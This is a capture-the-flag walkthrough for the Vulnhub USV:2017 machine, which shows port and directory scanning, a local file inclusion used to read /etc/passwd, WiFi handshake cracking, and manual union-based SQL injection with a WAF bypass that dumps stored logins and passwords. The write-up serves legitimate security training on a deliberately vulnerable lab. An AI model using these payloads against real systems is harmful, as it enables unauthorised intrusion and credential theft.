Vulnhub CTF USV – 2017 Writeup

 

This is a walkthrough of Vulnhub machine ‘USV:2017 released on Dec 17th, 2017 by Suceava University. I imported the virtual machine in Virtual Box in Bridged mode. The machine has five flags  with reference to country names that are to be retrieved.

Server IP: 192.168.1.108
Attacker IP: 192.168.1.104

Using Nmap, enumerating for open ports and their respective services

root@kali:~# nmap -sV -p- 192.168.1.108
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-30 08:22 IST
Nmap scan report for 192.168.1.108
Host is up (0.00043s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            ProFTPD 1.3.5b
22/tcp    open  ssh            OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp    open  http           Apache httpd
4369/tcp  open  epmd           Erlang Port Mapper Daemon
5222/tcp  open  jabber         ejabberd (Protocol 1.0)
5269/tcp  open  jabber         ejabberd
5280/tcp  open  ssl/xmpp-bosh?
15020/tcp open  ssl/http       Apache httpd
41601/tcp open  unknown
MAC Address: 08:00:27:C5:25:00 (Oracle VirtualBox virtual NIC)
Service Info: Host: localhost; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.66 seconds

I got open ports and their corresponding services. After performing basic enumeration on port 21 and port 22 which dint seem fruitful, I moved on to port 80

Browsing http://192.168.1.108 using firefox

Next step involved finding any hidden directories using dirb.

root@kali:~# dirb http://192.168.1.108/
.....
URL_BASE: http://192.168.1.108/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://192.168.1.108/ ----
==> DIRECTORY: http://192.168.1.108/admin2/                                    
+ http://192.168.1.108/index.html (CODE:200|SIZE:3236)                         
+ http://192.168.1.108/server-status (CODE:403|SIZE:222)                       
                                                                               
---- Entering directory: http://192.168.1.108/admin2/ ----
+ http://192.168.1.108/admin2/index.html (CODE:200|SIZE:1976)                  
==> DIRECTORY: http://192.168.1.108/admin2/js/    
...... 

admin2 folder was found. Browsing http://192.168.1.108/admin2 gives

After reviewing the HTML source code, it is understood the password was validated using Javascript.

Full javascript is as follows:

var _0xeb5f=["\x76\x61\x6C\x75\x65","\x70\x61\x73\x73\x69\x6E\x70","\x70\x61\x73\x73\x77\x6F\x72\x64","\x66\x6F\x72\x6D\x73","\x63\x6F\x6C\x6F\x72","\x73\x74\x79\x6C\x65","\x76\x61\x6C\x69\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x67\x72\x65\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x49\x74\x61\x6C\x79\x3A","\x72\x65\x64","\x49\x6E\x63\x6F\x72\x72\x65\x63\x74\x21"];

function validate(){
var _0xb252x2=123211;
var _0xb252x3=3422543454;
var _0xb252x4=document[_0xeb5f[3]][_0xeb5f[2]][_0xeb5f[1]][_0xeb5f[0]];
var _0xb252x5=md5(_0xb252x4);
_0xb252x4+= 4469;
_0xb252x4-= 234562221224;
_0xb252x4*= 1988;
_0xb252x2-= 2404;
_0xb252x3+= 2980097;

if(_0xb252x4== 1079950212331060){

document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]]= _0xeb5f[8];
document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]]= _0xeb5f[10]+ _0xb252x5
}

else {

document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]]= _0xeb5f[11];document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]]= _0xeb5f[12]};
return false
}

It’s in the obfuscated way. Deobfuscating using JS Beautifier

function validate() {
    var _0xb252x2 = 123211;  /* Junk operation */
    var _0xb252x3 = 3422543454;/* Junk Operation */
    var _0xb252x4 = document['forms']['password']['passinp']['value'];
    var _0xb252x5 = md5(_0xb252x4); 
    _0xb252x4 += 4469;
    _0xb252x4 -= 234562221224;
    _0xb252x4 *= 1988;
    _0xb252x2 -= 2404; /*Junk Operation */
    _0xb252x3 += 2980097; /* Junk operation*/
    if (_0xb252x4 == 1079950212331060) {
        document['getElementById']('valid')['style']['color'] = 'green';
        document['getElementById']('valid')['innerHTML'] = 'Italy:' + _0xb252x5
    } else {
        document['getElementById']('valid')['style']['color'] = 'red';
        document['getElementById']('valid')['innerHTML'] = 'Incorrect!'
    };
    return false
}

To note some of the operations in the above code are just to confuse which are commented as “Junk operation”. On further analysis, it was found that the value that is input as password is retrieved as var _0xb252x4. It is concatenated to 4469. (It’s not addition as operator + is used on password value which is string, resulting in string concatenation). The new string which is taken as integer is subtracted from 234562221224 and the resulting value is multiplied with 1988. If the final value is equal to 1079950212331060, the MD5 sum of the input value is the first flag.

/*Pseudocode based on analysis */
string_concat(password, 4469)-234562221224)*1988 == 1079950212331060)
        first_flag = Italy: + md5sum(password)
        return first_flag

Simple javascript code to find the needed password value

var x = 1079950212331060;
x = x/1988;
x = x+234562221224;
x = x.toString();
/* Removing last 4 characters to remove 4469*/
needed_pwd = x.slice(0,-4);
console.log("X value: "+x, "Needed password: "+needed_pwd);

Running the snippet in a browser console

Using the password 77779673 gives us first flag.

Moving onto another HTTP port 15020. The sites depend on HTTPS. Browsing https://192.168.1.108:15020

Again using dirb to find hidden directories

root@kali:~# dirb https://192.168.1.108:15020 -R
......
URL_BASE: https://192.168.1.108:15020/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Interactive Recursion
---- Scanning URL: https://192.168.1.108:15020/ ----
==> DIRECTORY: https://192.168.1.108:15020/blog/
+ https://192.168.1.108:15020/index.html (CODE:200|SIZE:3275)
+ https://192.168.1.108:15020/server-status (CODE:403|SIZE:222)
==> DIRECTORY: https://192.168.1.108:15020/vault/
---- Entering directory: https://192.168.1.108:15020/blog/ ----
(?) Do you want to scan this directory (y/n)? n
Skipping directory.
---- Entering directory: https://192.168.1.108:15020/vault/ ----
......

Two directories are found blog and vault.
Browsing https://192,168.1.108:15020/blog gives

Checking the source code, a hidden PHP file download.php is revealed as comment.

Browsing https://192.168.1.108:15020/blog/download.php gives

This page was vulnerable to LFI and the image parameter was supposed to be submitted using ‘POST’ parameter. Using curl to test LFI, downloading download.php file

curl --data "image=download.php" https://192.168.1.108:15020/blog/download.php -k

Using the same command changing the value of ‘image’ parameter, the file system can be browsed. For example, retrieving passwd file

root@kali:~# curl --data "image=/etc/passwd" https://192.168.1.108:15020/blog/download.php -k 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
......
ftp:x:109:65534::/srv/ftp:/bin/false
kevin:x:1001:1001::/home/kevin:
epmd:x:110:113::/var/run/epmd:/bin/false
ejabberd:x:111:114::/var/lib/ejabberd:/bin/sh
oana:x:1002:1002::/home/oana:

Checking https://192.168.1.108:15020/blog shows a comment which reveals a clue about second flag in Kevin’s home directory

Using the above discussed LFI and the new clue about the second flag

root@kali:~# curl --data "image=/home/kevin/flag.txt" https://192.168.1.108:15020/blog/download.php -k 
Croatia: e4d49769b40647eddda2fe3041b9564c

Moving on to the vault directory at https://192.168.1.108:15020/vault gives

So many ‘Doors’ and ‘Vaults’!!!
Using wfuzz to check for differences in the folders. Command used

wfuzz -c -z range,1-300 -z range,1-100 --hl 14 https://192.168.1.108:15020/vault/DoorFUZZ/VaultFUZ2Z/

The command tries numbers 1-300 on folders ‘Door’ and 1-100 on subfolders ‘Vault’ and ignores the responses having 14 lines.

root@kali:~# wfuzz -c -z range,1-300 -z range,1-100 --hl 14 https://192.168.1.108:15020/vault/DoorFUZZ/VaultFUZ2Z/
......
Target: HTTPS://192.168.1.108:15020/vault/DoorFUZZ/VaultFUZ2Z/
Total requests: 30000
==================================================================
ID	Response   Lines      Word         Chars          Payload    
==================================================================
22170:  C=200     15 L	      52 W	    907 Ch	  "222 - 70"
22201:  C=200     15 L	      53 W	    916 Ch	  "223 - 1"
Total time: 49.36802
Processed Requests: 30000
Filtered Requests: 29998
Requests/sec.: 607.6808

Based on the result, checking https://192.168.1.108:15020/vault/Door222/Vault70 and https://192.168.1.108:15020/vault/Door223/Vault1 gives

I downloaded the ctf.cap and rockyou.zip files. ctf.cap was a packet capture file. After extraction, rockyou.zip  had rockyou.txt file which seemed to be a password file.

Analysing the ctf.cap using tshark

root@kali:~# tshark -r ctf.cap

It seems a capture of WiFi handshake shown by Authentication and Association frames. Using aircrack-ng, the password used in the handshake can be found. I have used the provided wordlist rockyou.txt for this process.

root@kali:~# aircrack-ng ctf.cap -w rockyou.txt


The key is found as minion.666

Using the username admin and password minion.666 at https://192.168.1.108:15020/blog/admin/login.php gives

gives

Viewing the source of the obtained section gives the third flag.

Refer Appendix 1 for another way to obtain the third (Philippines) flag.

On further enumeration, parameter id for edit.php at https://192.168.1.108:15020/blog/admin/edit.php?id=3 was found to be vulnerable to SQL Injection. To confirm using comment based testing, passing value 3-- to id parameter gives

I  chose manual SQL injection as I had faced issues with automated testing. If you can find an easy one using any automated tool, please drop the method in the comment section.

Using order by statements, I found 4 columns are retrieved by the SQL queries in edit.php Tested using iteration from 1 to 4 at ‘x’ position https://192.168.1.108:15020/blog/admin/edit.php?id=3 order by x’–

Now checking for union-based SQL injection and places where to reflect the needed results based on our SQL injection.

I guessed the presence of a firewall blocking union based statements. Bypassing the firewall using the Normalization method as explained in SQL Injection Bypassing WAF.

Trying https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,2,3,4–

The query is executed but there is no output of union query. It is because of limit SQL function.
Trying https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,2,3,4 limit 1,1– gives

Since, there is a output of 2 and 3 in our SQL injection, I have used it to output current database and database version using
https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,database(),version(),4 limit 1,1–

The current database is blog and it seems as predicted MySQL (MariaDB) database.

Now to get the tables of the database blog,

https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,table_name,table_schema,4%20from%20information_schema.tables%20where%20table_schema=database()limit%20X,1–

at position X we iterate starting from 1 to get the list of tables. At 3, where the query becomes

https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,table_name,table_schema,4%20from%20information_schema.tables%20where%20table_schema=database()limit%203,1–
table users is found

To get the columns belonging table users from database blog,

https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,column_name,table_name,4 from information_schema.columns where table_schema=database() and table_name=”users” limit X,1–

Iterating at X postion from 1,

https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,column_name,table_name,4 from information_schema.columns where table_schema=database() and table_name=”users” limit 1,1–

gives column id

Using 2 at X position
https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,column_name,table_name,4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%22users%22%20limit%202,1–

gives column login

Using 3 at X position
https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,column_name,table_name,4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%22users%22%20limit%203,1–

gives column password

Extracting values of columns login and password from table users using

https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,login,password,4 from users limit 1,1–

Checking the next result using
https://192.168.1.108:15020/blog/admin/edit.php?id=3/**/union/**/select/**/1,login,password,4%20from%20users%20limit%202,1–

that makes our fourth flag.

Finally, the fifth flag was very easy yet needed eagle eyes. Viewing the HTTPs certificate presented at https://192.168.1.102:15020, the fifth flag was found

Appendix 1

The Philippines flag can be found using the LFI at download.php

curl --data "image=admin/index.php" https://192.168.1.108:15020/blog/download.php -k | grep Philippines


2 thoughts on “Vulnhub CTF USV – 2017 Writeup

Leave a Reply

Your email address will not be published. Required fields are marked *